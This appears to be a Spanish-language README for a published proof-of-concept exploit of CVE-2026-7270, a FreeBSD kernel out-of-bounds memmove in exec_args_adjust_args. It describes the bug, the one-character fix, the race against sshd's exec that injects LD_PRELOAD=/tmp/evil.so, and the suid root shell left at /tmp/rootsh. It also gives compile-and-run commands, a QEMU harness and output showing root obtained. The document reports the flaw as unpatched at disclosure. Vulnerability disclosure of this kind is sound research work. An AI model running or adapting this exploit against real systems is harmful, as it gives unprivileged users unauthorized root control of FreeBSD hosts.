
CVE-2026-7270 Escalada de privilegios local en FreeBSD a través de exec_args_adjust_args OOB memmove
https://github.com/califio/publications/tree/main/MADBugs/freebsd-CVE-2026-7270
Escalada de privilegios local en FreeBSD mediante exec_args_adjust_args con memmove fuera de límites
Un error de precedencia de operadores en exec_args_adjust_args() (sys/kern/kern_exec.c, presente desde 2013) permite que cualquier usuario local escale a root en una instalación predeterminada de FreeBSD con sshd en ejecución. No se requieren binarios suid, ni módulos del kernel, ni cambios de configuración.
/* sys/kern/kern_exec.c */
memmove(args->begin_argv + extend, args->begin_argv + consume,
args->endp - args->begin_argv + consume); /* ERROR: + debería ser - */
+ consume debería ser - consume. El signo incorrecto hace que el memmove copie 2 * consume bytes en lugar de los correctos endp - begin_argv - consume. Con un argv[0] de 265,185 bytes en una ejecución con shebang, el memmove desborda la entrada de exec_map de 528,384 bytes en 2,024 bytes hacia la entrada adyacente — sin bloqueo, sin señal, sin fallo de página.
El exploit compite contra el memmove fuera de límites con el fork/execv de sshd en conexiones TCP entrantes. sshd-session se ejecuta de root a root sin transición suid/sgid, por lo que issetugid() devuelve 0 y el enlazador dinámico respeta LD_PRELOAD. El exploit coloca LD_PRELOAD=/tmp/evil.so en la entrada de exec_map de sshd-session; el constructor de evil.so se ejecuta con uid=0 y deja un shell root suid en /tmp/rootsh.
Root obtenido en la ronda 5,030, ~6 segundos después del lanzamiento en una VM de 4 CPU.
| Versiones afectadas | FreeBSD 11.0 hasta 14.4 (todas las versiones; sin corrección en ninguna rama al momento de la divulgación) |
| Requisitos previos | Shell local sin privilegios; sshd en ejecución (predeterminado en FreeBSD) |
| Fiabilidad | ~0.6% de tasa de éxito por ronda; root en segundos en un sistema de 4 CPU |
| Probado | FreeBSD 14.4-RELEASE-p1 amd64, kernel GENERIC, 4 CPU, 2GB RAM |
Cambie un carácter en sys/kern/kern_exec.c:
- args->endp - args->begin_argv + consume);
+ args->endp - (args->begin_argv + consume));
En un objetivo FreeBSD 14.4, como cualquier usuario sin privilegios:
gcc -O2 -o /tmp/exec1_lpe21 exec1_lpe21.c
/tmp/exec1_lpe21 15000 0
# ... unos segundos ...
/tmp/rootsh -p
# uid=1001(freebsd) gid=1001(freebsd) euid=0(root)
Bajo QEMU (host macOS, requiere qemu y sshpass):
./run_poc.sh # arranca la VM, compila, ejecuta el exploit
./run_poc.sh run # re-ejecutar contra una VM ya en marcha
./run_poc.sh clean # eliminar artefactos de la VM
$ ./run_poc.sh
[*] Arrancando VM FreeBSD 14.4 (4 CPU, 2GB RAM, SSH en el puerto 2225)...
[*] PID de QEMU 25908, registro: vm.log
[*] Esperando SSH en el puerto 2225...
[*] SSH activo después de 1s
[*] Copiando código fuente del exploit a la VM...
[*] Creando usuario sin privilegios 'freebsd' y compilando...
[*] Compilación correcta
[*] Ejecutando exploit como 'freebsd' (hasta 15000 rondas)...
[*] Busque ROOT OBTAINED a continuación:
[!!!] ROOT OBTAINED!
uid=0 euid=0 pid=3413
[!!!] Shell root: /tmp/rootsh -p
[*] Verificando root...
=== /tmp/GOT_ROOT ===
uid=0 euid=0 pid=3413
=== /tmp/rootsh ===
-rwsr-xr-x 1 root wheel 169288 May 7 05:51 /tmp/rootsh
=== id mediante rootsh ===
uid=0(root) gid=0(wheel) groups=0(wheel),5(operator)
[*] Deteniendo VM (pid 25908)...
| Archivo | Descripción |
|---|
exec1_lpe21.c | Exploit autocontenido — compilar y ejecutar como usuario sin privilegios |
run_poc.sh | Automatización QEMU: arranca FreeBSD 14.4, compila y ejecuta el exploit |
WRITEUP.md | Informe técnico completo: análisis del error, arquitectura del exploit, historial de desarrollo |
blog.md | Relato narrativo del descubrimiento y desarrollo del exploit |
images/ | Diagramas SVG: diseño de exec_map, mecanismo de autocopia, visión general completa del ataque |